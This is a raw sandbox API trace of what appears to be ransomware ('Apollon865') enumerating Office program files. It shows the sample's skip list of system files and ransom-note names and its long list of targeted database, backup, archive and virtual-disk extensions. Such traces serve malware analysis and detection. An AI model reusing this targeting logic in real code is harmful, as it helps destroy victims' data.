	[0066.633] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BIZFORM.DPV" | out: lpString1="BIZFORM.DPV") returned="BIZFORM.DPV"
	[0066.633] lstrlenW (lpString="BIZFORM.DPV") returned 11
	[0066.633] lstrlenW (lpString="Apollon865") returned 10
	[0066.633] lstrcmpiW (lpString1="IZFORM.DPV", lpString2="Apollon865") returned 1
	[0066.633] lstrlenW (lpString=".dll") returned 4
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2=".dll") returned 1
	[0066.633] lstrlenW (lpString=".lnk") returned 4
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2=".lnk") returned 1
	[0066.633] lstrlenW (lpString=".ini") returned 4
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2=".ini") returned 1
	[0066.633] lstrlenW (lpString=".sys") returned 4
	[0066.633] lstrcmpiW (lpString1="BIZFORM.DPV", lpString2=".sys") returned 1
	[0066.633] lstrlenW (lpString="BIZFORM.DPV") returned 11
	[0066.633] lstrlenW (lpString="bak") returned 3
	[0066.633] lstrcmpiW (lpString1="DPV", lpString2="bak") returned 1
	[0066.633] lstrlenW (lpString="ba_") returned 3
	[0066.633] lstrcmpiW (lpString1="DPV", lpString2="ba_") returned 1
	[0066.633] lstrlenW (lpString="dbb") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="dbb") returned 1
	[0066.634] lstrlenW (lpString="vmdk") returned 4
	[0066.634] lstrcmpiW (lpString1=".DPV", lpString2="vmdk") returned -1
	[0066.634] lstrlenW (lpString="rar") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="rar") returned -1
	[0066.634] lstrlenW (lpString="zip") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="zip") returned -1
	[0066.634] lstrlenW (lpString="tgz") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="tgz") returned -1
	[0066.634] lstrlenW (lpString="vbox") returned 4
	[0066.634] lstrcmpiW (lpString1=".DPV", lpString2="vbox") returned -1
	[0066.634] lstrlenW (lpString="vdi") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="vdi") returned -1
	[0066.634] lstrlenW (lpString="vhd") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="vhd") returned -1
	[0066.634] lstrlenW (lpString="vhdx") returned 4
	[0066.634] lstrcmpiW (lpString1=".DPV", lpString2="vhdx") returned -1
	[0066.634] lstrlenW (lpString="avhd") returned 4
	[0066.634] lstrcmpiW (lpString1=".DPV", lpString2="avhd") returned -1
	[0066.634] lstrlenW (lpString="db") returned 2
	[0066.634] lstrcmpiW (lpString1="PV", lpString2="db") returned 1
	[0066.634] lstrlenW (lpString="db2") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="db2") returned 1
	[0066.634] lstrlenW (lpString="db3") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="db3") returned 1
	[0066.634] lstrlenW (lpString="dbf") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="dbf") returned 1
	[0066.634] lstrlenW (lpString="mdf") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="mdf") returned -1
	[0066.634] lstrlenW (lpString="mdb") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="mdb") returned -1
	[0066.634] lstrlenW (lpString="sql") returned 3
	[0066.634] lstrcmpiW (lpString1="DPV", lpString2="sql") returned -1
	[0066.634] lstrlenW (lpString="sqlite") returned 6
	[0066.634] lstrcmpiW (lpString1="RM.DPV", lpString2="sqlite") returned -1
	[0066.634] lstrlenW (lpString="sqlite3") returned 7
	[0066.635] lstrcmpiW (lpString1="ORM.DPV", lpString2="sqlite3") returned -1
	[0066.635] lstrlenW (lpString="sqlitedb") returned 8
	[0066.635] lstrcmpiW (lpString1="FORM.DPV", lpString2="sqlitedb") returned -1
	[0066.635] lstrlenW (lpString="xml") returned 3
	[0066.635] lstrcmpiW (lpString1="DPV", lpString2="xml") returned -1
	[0066.635] lstrlenW (lpString="$er") returned 3
	[0066.635] lstrcmpiW (lpString1="DPV", lpString2="$er") returned 1
	[0066.635] lstrlenW (lpString="4dd") returned 3
	[0066.635] lstrcmpiW (lpString1="DPV", lpString2="4dd") returned 1
	[0066.635] lstrlenW (lpString="4dl") returned 3
	[0066.635] lstrcmpiW (lpString1="DPV", lpString2="4dl") returned 1
	[0066.635] lstrlenW (lpString="^^^") returned 3
	[0066.635] lstrcmpiW (lpString1="DPV", lpString2="^^^") returned 1
	[0066.635] lstrlenW (lpString="abs") returned 3
	[0066.635] lstrcmpiW (lpString1="DPV", lpString2="abs") returned 1
	[0066.635] lstrlenW (lpString="abx") returned 3
	[0066.635] lstrcmpiW (lpString1="DPV", lpString2="abx") returned 1
	[0066.635] lstrlenW (lpString="accdb") returned 5
	[0066.635] lstrcmpiW (lpString1="M.DPV", lpString2="accdb") returned 1
	[0066.635] lstrlenW (lpString="accdc") returned 5
	[0066.635] lstrcmpiW (lpString1="M.DPV", lpString2="accdc") returned 1
	[0066.635] lstrlenW (lpString="accde") returned 5
	[0066.635] lstrcmpiW (lpString1="M.DPV", lpString2="accde") returned 1
	[0066.635] lstrlenW (lpString="accdr") returned 5
	[0066.635] lstrcmpiW (lpString1="M.DPV", lpString2="accdr") returned 1
	[0066.635] lstrlenW (lpString="accdt") returned 5
	[0066.635] lstrcmpiW (lpString1="M.DPV", lpString2="accdt") returned 1
	[0066.635] lstrlenW (lpString="accdw") returned 5
	[0066.635] lstrcmpiW (lpString1="M.DPV", lpString2="accdw") returned 1
	[0066.635] lstrlenW (lpString="accft") returned 5
	[0066.635] lstrcmpiW (lpString1="M.DPV", lpString2="accft") returned 1
	[0066.635] lstrlenW (lpString="adb") returned 3
	[0066.635] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.635] lstrlenW (lpString="adb") returned 3
	[0066.635] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.636] lstrlenW (lpString="ade") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="ade") returned 1
	[0066.636] lstrlenW (lpString="adf") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="adf") returned 1
	[0066.636] lstrlenW (lpString="adn") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="adn") returned 1
	[0066.636] lstrlenW (lpString="adp") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="adp") returned 1
	[0066.636] lstrlenW (lpString="alf") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="alf") returned 1
	[0066.636] lstrlenW (lpString="ask") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="ask") returned 1
	[0066.636] lstrlenW (lpString="btr") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="btr") returned 1
	[0066.636] lstrlenW (lpString="cat") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="cat") returned 1
	[0066.636] lstrlenW (lpString="cdb") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="cdb") returned 1
	[0066.636] lstrlenW (lpString="ckp") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="ckp") returned 1
	[0066.636] lstrlenW (lpString="cma") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="cma") returned 1
	[0066.636] lstrlenW (lpString="cpd") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="cpd") returned 1
	[0066.636] lstrlenW (lpString="dacpac") returned 6
	[0066.636] lstrcmpiW (lpString1="RM.DPV", lpString2="dacpac") returned 1
	[0066.636] lstrlenW (lpString="dad") returned 3
	[0066.636] lstrcmpiW (lpString1="DPV", lpString2="dad") returned 1
	[0066.636] lstrlenW (lpString="dadiagrams") returned 10
	[0066.636] lstrcmpiW (lpString1="IZFORM.DPV", lpString2="dadiagrams") returned 1
	[0066.636] lstrlenW (lpString="daschema") returned 8
	[0066.636] lstrcmpiW (lpString1="FORM.DPV", lpString2="daschema") returned 1
	[0066.636] lstrlenW (lpString="db-journal") returned 10
	[0066.636] lstrcmpiW (lpString1="IZFORM.DPV", lpString2="db-journal") returned 1
	[0066.636] lstrlenW (lpString="db-shm") returned 6
	[0066.637] lstrcmpiW (lpString1="RM.DPV", lpString2="db-shm") returned 1
	[0066.637] lstrlenW (lpString="db-wal") returned 6
	[0066.637] lstrcmpiW (lpString1="RM.DPV", lpString2="db-wal") returned 1
	[0066.637] lstrlenW (lpString="dbc") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dbc") returned 1
	[0066.637] lstrlenW (lpString="dbs") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dbs") returned 1
	[0066.637] lstrlenW (lpString="dbt") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dbt") returned 1
	[0066.637] lstrlenW (lpString="dbv") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dbv") returned 1
	[0066.637] lstrlenW (lpString="dbx") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dbx") returned 1
	[0066.637] lstrlenW (lpString="dcb") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dcb") returned 1
	[0066.637] lstrlenW (lpString="dct") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dct") returned 1
	[0066.637] lstrlenW (lpString="dcx") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dcx") returned 1
	[0066.637] lstrlenW (lpString="ddl") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="ddl") returned 1
	[0066.637] lstrlenW (lpString="dlis") returned 4
	[0066.637] lstrcmpiW (lpString1=".DPV", lpString2="dlis") returned -1
	[0066.637] lstrlenW (lpString="dp1") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dp1") returned 1
	[0066.637] lstrlenW (lpString="dqy") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dqy") returned -1
	[0066.637] lstrlenW (lpString="dsk") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dsk") returned -1
	[0066.637] lstrlenW (lpString="dsn") returned 3
	[0066.637] lstrcmpiW (lpString1="DPV", lpString2="dsn") returned -1
	[0066.637] lstrlenW (lpString="dtsx") returned 4
	[0066.637] lstrcmpiW (lpString1=".DPV", lpString2="dtsx") returned -1
	[0066.638] lstrlenW (lpString="dxl") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="dxl") returned -1
	[0066.638] lstrlenW (lpString="eco") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="eco") returned -1
	[0066.638] lstrlenW (lpString="ecx") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="ecx") returned -1
	[0066.638] lstrlenW (lpString="edb") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="edb") returned -1
	[0066.638] lstrlenW (lpString="epim") returned 4
	[0066.638] lstrcmpiW (lpString1=".DPV", lpString2="epim") returned -1
	[0066.638] lstrlenW (lpString="fcd") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="fcd") returned -1
	[0066.638] lstrlenW (lpString="fdb") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="fdb") returned -1
	[0066.638] lstrlenW (lpString="fic") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="fic") returned -1
	[0066.638] lstrlenW (lpString="flexolibrary") returned 12
	[0066.638] lstrlenW (lpString="fm5") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="fm5") returned -1
	[0066.638] lstrlenW (lpString="fmp") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="fmp") returned -1
	[0066.638] lstrlenW (lpString="fmp12") returned 5
	[0066.638] lstrcmpiW (lpString1="M.DPV", lpString2="fmp12") returned 1
	[0066.638] lstrlenW (lpString="fmpsl") returned 5
	[0066.638] lstrcmpiW (lpString1="M.DPV", lpString2="fmpsl") returned 1
	[0066.638] lstrlenW (lpString="fol") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="fol") returned -1
	[0066.638] lstrlenW (lpString="fp3") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="fp3") returned -1
	[0066.638] lstrlenW (lpString="fp4") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="fp4") returned -1
	[0066.638] lstrlenW (lpString="fp5") returned 3
	[0066.638] lstrcmpiW (lpString1="DPV", lpString2="fp5") returned -1
	[0066.638] lstrlenW (lpString="fp7") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="fp7") returned -1
	[0066.639] lstrlenW (lpString="fpt") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="fpt") returned -1
	[0066.639] lstrlenW (lpString="frm") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="frm") returned -1
	[0066.639] lstrlenW (lpString="gdb") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.639] lstrlenW (lpString="gdb") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.639] lstrlenW (lpString="grdb") returned 4
	[0066.639] lstrcmpiW (lpString1=".DPV", lpString2="grdb") returned -1
	[0066.639] lstrlenW (lpString="gwi") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="gwi") returned -1
	[0066.639] lstrlenW (lpString="hdb") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="hdb") returned -1
	[0066.639] lstrlenW (lpString="his") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="his") returned -1
	[0066.639] lstrlenW (lpString="ib") returned 2
	[0066.639] lstrcmpiW (lpString1="PV", lpString2="ib") returned 1
	[0066.639] lstrlenW (lpString="idb") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="idb") returned -1
	[0066.639] lstrlenW (lpString="ihx") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="ihx") returned -1
	[0066.639] lstrlenW (lpString="itdb") returned 4
	[0066.639] lstrcmpiW (lpString1=".DPV", lpString2="itdb") returned -1
	[0066.639] lstrlenW (lpString="itw") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="itw") returned -1
	[0066.639] lstrlenW (lpString="jet") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="jet") returned -1
	[0066.639] lstrlenW (lpString="jtx") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="jtx") returned -1
	[0066.639] lstrlenW (lpString="kdb") returned 3
	[0066.639] lstrcmpiW (lpString1="DPV", lpString2="kdb") returned -1
	[0066.639] lstrlenW (lpString="kexi") returned 4
	[0066.639] lstrcmpiW (lpString1=".DPV", lpString2="kexi") returned -1
	[0066.640] lstrlenW (lpString="kexic") returned 5
	[0066.640] lstrcmpiW (lpString1="M.DPV", lpString2="kexic") returned 1
	[0066.640] lstrlenW (lpString="kexis") returned 5
	[0066.640] lstrcmpiW (lpString1="M.DPV", lpString2="kexis") returned 1
	[0066.640] lstrlenW (lpString="lgc") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="lgc") returned -1
	[0066.640] lstrlenW (lpString="lwx") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="lwx") returned -1
	[0066.640] lstrlenW (lpString="maf") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="maf") returned -1
	[0066.640] lstrlenW (lpString="maq") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="maq") returned -1
	[0066.640] lstrlenW (lpString="mar") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="mar") returned -1
	[0066.640] lstrlenW (lpString="marshal") returned 7
	[0066.640] lstrcmpiW (lpString1="ORM.DPV", lpString2="marshal") returned 1
	[0066.640] lstrlenW (lpString="mas") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="mas") returned -1
	[0066.640] lstrlenW (lpString="mav") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="mav") returned -1
	[0066.640] lstrlenW (lpString="maw") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="maw") returned -1
	[0066.640] lstrlenW (lpString="mdbhtml") returned 7
	[0066.640] lstrcmpiW (lpString1="ORM.DPV", lpString2="mdbhtml") returned 1
	[0066.640] lstrlenW (lpString="mdn") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="mdn") returned -1
	[0066.640] lstrlenW (lpString="mdt") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="mdt") returned -1
	[0066.640] lstrlenW (lpString="mfd") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="mfd") returned -1
	[0066.640] lstrlenW (lpString="mpd") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="mpd") returned -1
	[0066.640] lstrlenW (lpString="mrg") returned 3
	[0066.640] lstrcmpiW (lpString1="DPV", lpString2="mrg") returned -1
	[0066.640] lstrlenW (lpString="mud") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="mud") returned -1
	[0066.641] lstrlenW (lpString="mwb") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="mwb") returned -1
	[0066.641] lstrlenW (lpString="myd") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="myd") returned -1
	[0066.641] lstrlenW (lpString="ndf") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="ndf") returned -1
	[0066.641] lstrlenW (lpString="nnt") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="nnt") returned -1
	[0066.641] lstrlenW (lpString="nrmlib") returned 6
	[0066.641] lstrcmpiW (lpString1="RM.DPV", lpString2="nrmlib") returned 1
	[0066.641] lstrlenW (lpString="ns2") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="ns2") returned -1
	[0066.641] lstrlenW (lpString="ns3") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="ns3") returned -1
	[0066.641] lstrlenW (lpString="ns4") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="ns4") returned -1
	[0066.641] lstrlenW (lpString="nsf") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="nsf") returned -1
	[0066.641] lstrlenW (lpString="nv") returned 2
	[0066.641] lstrcmpiW (lpString1="PV", lpString2="nv") returned 1
	[0066.641] lstrlenW (lpString="nv2") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="nv2") returned -1
	[0066.641] lstrlenW (lpString="nwdb") returned 4
	[0066.641] lstrcmpiW (lpString1=".DPV", lpString2="nwdb") returned -1
	[0066.641] lstrlenW (lpString="nyf") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="nyf") returned -1
	[0066.641] lstrlenW (lpString="odb") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.641] lstrlenW (lpString="odb") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.641] lstrlenW (lpString="oqy") returned 3
	[0066.641] lstrcmpiW (lpString1="DPV", lpString2="oqy") returned -1
	[0066.642] lstrlenW (lpString="ora") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="ora") returned -1
	[0066.642] lstrlenW (lpString="orx") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="orx") returned -1
	[0066.642] lstrlenW (lpString="owc") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="owc") returned -1
	[0066.642] lstrlenW (lpString="p96") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="p96") returned -1
	[0066.642] lstrlenW (lpString="p97") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="p97") returned -1
	[0066.642] lstrlenW (lpString="pan") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="pan") returned -1
	[0066.642] lstrlenW (lpString="pdb") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="pdb") returned -1
	[0066.642] lstrlenW (lpString="pdm") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="pdm") returned -1
	[0066.642] lstrlenW (lpString="pnz") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="pnz") returned -1
	[0066.642] lstrlenW (lpString="qry") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="qry") returned -1
	[0066.642] lstrlenW (lpString="qvd") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="qvd") returned -1
	[0066.642] lstrlenW (lpString="rbf") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="rbf") returned -1
	[0066.642] lstrlenW (lpString="rctd") returned 4
	[0066.642] lstrcmpiW (lpString1=".DPV", lpString2="rctd") returned -1
	[0066.642] lstrlenW (lpString="rod") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="rod") returned -1
	[0066.642] lstrlenW (lpString="rodx") returned 4
	[0066.642] lstrcmpiW (lpString1=".DPV", lpString2="rodx") returned -1
	[0066.642] lstrlenW (lpString="rpd") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="rpd") returned -1
	[0066.642] lstrlenW (lpString="rsd") returned 3
	[0066.642] lstrcmpiW (lpString1="DPV", lpString2="rsd") returned -1
	[0066.643] lstrlenW (lpString="sas7bdat") returned 8
	[0066.643] lstrcmpiW (lpString1="FORM.DPV", lpString2="sas7bdat") returned -1
	[0066.643] lstrlenW (lpString="sbf") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="sbf") returned -1
	[0066.643] lstrlenW (lpString="scx") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="scx") returned -1
	[0066.643] lstrlenW (lpString="sdb") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="sdb") returned -1
	[0066.643] lstrlenW (lpString="sdc") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="sdc") returned -1
	[0066.643] lstrlenW (lpString="sdf") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="sdf") returned -1
	[0066.643] lstrlenW (lpString="sis") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="sis") returned -1
	[0066.643] lstrlenW (lpString="spq") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="spq") returned -1
	[0066.643] lstrlenW (lpString="te") returned 2
	[0066.643] lstrcmpiW (lpString1="PV", lpString2="te") returned -1
	[0066.643] lstrlenW (lpString="teacher") returned 7
	[0066.643] lstrcmpiW (lpString1="ORM.DPV", lpString2="teacher") returned -1
	[0066.643] lstrlenW (lpString="tmd") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="tmd") returned -1
	[0066.643] lstrlenW (lpString="tps") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="tps") returned -1
	[0066.643] lstrlenW (lpString="trc") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.643] lstrlenW (lpString="trc") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.643] lstrlenW (lpString="trm") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="trm") returned -1
	[0066.643] lstrlenW (lpString="udb") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="udb") returned -1
	[0066.643] lstrlenW (lpString="udl") returned 3
	[0066.643] lstrcmpiW (lpString1="DPV", lpString2="udl") returned -1
	[0066.643] lstrlenW (lpString="usr") returned 3
	[0066.644] lstrcmpiW (lpString1="DPV", lpString2="usr") returned -1
	[0066.644] lstrlenW (lpString="v12") returned 3
	[0066.644] lstrcmpiW (lpString1="DPV", lpString2="v12") returned -1
	[0066.644] lstrlenW (lpString="vis") returned 3
	[0066.644] lstrcmpiW (lpString1="DPV", lpString2="vis") returned -1
	[0066.644] lstrlenW (lpString="vpd") returned 3
	[0066.644] lstrcmpiW (lpString1="DPV", lpString2="vpd") returned -1
	[0066.644] lstrlenW (lpString="vvv") returned 3
	[0066.644] lstrcmpiW (lpString1="DPV", lpString2="vvv") returned -1
	[0066.644] lstrlenW (lpString="wdb") returned 3
	[0066.644] lstrcmpiW (lpString1="DPV", lpString2="wdb") returned -1
	[0066.644] lstrlenW (lpString="wmdb") returned 4
	[0066.644] lstrcmpiW (lpString1=".DPV", lpString2="wmdb") returned -1
	[0066.644] lstrlenW (lpString="wrk") returned 3
	[0066.644] lstrcmpiW (lpString1="DPV", lpString2="wrk") returned -1
	[0066.644] lstrlenW (lpString="xdb") returned 3
	[0066.644] lstrcmpiW (lpString1="DPV", lpString2="xdb") returned -1
	[0066.644] lstrlenW (lpString="xld") returned 3
	[0066.644] lstrcmpiW (lpString1="DPV", lpString2="xld") returned -1
	[0066.644] lstrlenW (lpString="xmlff") returned 5
	[0066.644] lstrcmpiW (lpString1="M.DPV", lpString2="xmlff") returned -1
	[0066.644] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x397fc500, ftCreationTime.dwHighDateTime=0x1ca5c59, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x397fc500, ftLastWriteTime.dwHighDateTime=0x1ca5c59, nFileSizeHigh=0x0, nFileSizeLow=0x10a46, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BIZFORM.XML", cAlternateFileName="")) returned 1
	[0066.644] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.644] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="Apollon865.txt.exe") returned 1
	[0066.644] lstrcmpiW (lpString1="BIZFORM.XML", lpString2=".") returned 1
	[0066.644] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="..") returned 1
	[0066.644] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="windows") returned -1
	[0066.644] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="bootmgr") returned -1
	[0066.644] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="temp") returned -1
	[0066.644] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="pagefile.sys") returned -1
	[0066.644] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="boot") returned -1
	[0066.645] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="ids.txt") returned -1
	[0066.645] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="ntuser.dat") returned -1
	[0066.645] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="perflogs") returned -1
	[0066.645] lstrcmpiW (lpString1="BIZFORM.XML", lpString2="MSBuild") returned -1
	[0066.645] lstrlenW (lpString="BIZFORM.XML") returned 11
	[0066.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV") returned 61
	[0066.645] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BIZFORM.XML" | out: lpString1="BIZFORM.XML") returned="BIZFORM.XML"
	[0066.645] lstrlenW (lpString="BIZFORM.XML") returned 11
	[0066.645] lstrlenW (lpString="Apollon865") returned 10
	[0066.645] lstrcmpiW (lpString1="IZFORM.XML", lpString2="Apollon865") returned 1
	[0066.645] lstrlenW (lpString=".dll") returned 4
	[0066.645] lstrcmpiW (lpString1="BIZFORM.XML", lpString2=".dll") returned 1
	[0066.645] lstrlenW (lpString=".lnk") returned 4
	[0066.645] lstrcmpiW (lpString1="BIZFORM.XML", lpString2=".lnk") returned 1
	[0066.645] lstrlenW (lpString=".ini") returned 4
	[0066.645] lstrcmpiW (lpString1="BIZFORM.XML", lpString2=".ini") returned 1
	[0066.645] lstrlenW (lpString=".sys") returned 4
	[0066.645] lstrcmpiW (lpString1="BIZFORM.XML", lpString2=".sys") returned 1
	[0066.645] lstrlenW (lpString="BIZFORM.XML") returned 11
	[0066.645] lstrlenW (lpString="bak") returned 3
	[0066.645] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0066.645] lstrlenW (lpString="ba_") returned 3
	[0066.645] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0066.645] lstrlenW (lpString="dbb") returned 3
	[0066.645] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0066.645] lstrlenW (lpString="vmdk") returned 4
	[0066.645] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0066.645] lstrlenW (lpString="rar") returned 3
	[0066.645] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0066.645] lstrlenW (lpString="zip") returned 3
	[0066.645] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0066.645] lstrlenW (lpString="tgz") returned 3
	[0066.645] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0066.645] lstrlenW (lpString="vbox") returned 4
	[0066.646] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0066.646] lstrlenW (lpString="vdi") returned 3
	[0066.646] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0066.646] lstrlenW (lpString="vhd") returned 3
	[0066.646] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0066.646] lstrlenW (lpString="vhdx") returned 4
